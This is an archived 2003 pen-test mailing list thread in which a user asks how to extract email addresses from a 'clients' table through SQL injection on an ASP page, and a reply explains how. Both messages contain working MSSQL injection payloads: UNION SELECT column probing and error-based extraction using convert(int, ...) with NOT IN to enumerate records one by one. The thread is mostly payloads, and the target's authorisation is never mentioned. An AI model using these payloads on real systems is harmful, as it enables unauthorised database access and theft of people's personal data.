RE: SQL injection - get more values

["Panos Dimitriou" <p.dimitriou () encode-sec com>]

One solution is to try to find the exact columns to perform a union
select by replacing 1s with 'foo' when you get the error message "
operand type clash: text is incompatible with int"

Example:

') union all select sum(email),1,1,1.... from clients--
until you get: operand type clash: text is incompatible with int Then
change the last 1 with 'foo' and continue with 1s, and so on and so
forth.

The other solution is to try to get all the data through error cycling,
as you already tried and use NOT IN as follows:

' %2b convert(int, (SELECT max(email) FROM clients WHERE email not in
('anon () isp com','othermail () isp net',...))) %2b '
 
I hope this works

Panos Dimitriou
Director, MSS


-----Original Message-----
From: Daniel Savi [mailto:dss () brturbo com] 
Sent: Wednesday, February 12, 2003 7:49 PM
To: pen-test () securityfocus com
Subject: SQL injection - get more values



Hi :)

i'm trying to get some info from clients table and email field....

i try this param into gubpage.asp?=...
') union select sum(email) from clients--
and got error about all queries needed...so, i tryed to solve with
') union select sum(email),1,1,1.... from clients--
until i get: operand type clash: text is incompatible with int 

i found this answer into this forum (thanks :)), was:
' %2b convert(int, (SELECT email FROM clients WHERE email > 'a')) %2b '

i got this: 
Syntax error converting the varchar value 'anon () isp com' to a column of 
data type int

Now, my problem: How can i get other e-mail from table knowing one valid

value?

i try this
' %2b convert(int, (SELECT email FROM clients WHERE email 
> 'anon () isp com')) %2b '
but no success

i think i can use NOT iN, but not sure how to use with convert...

Any tip are welcome!

Thanks

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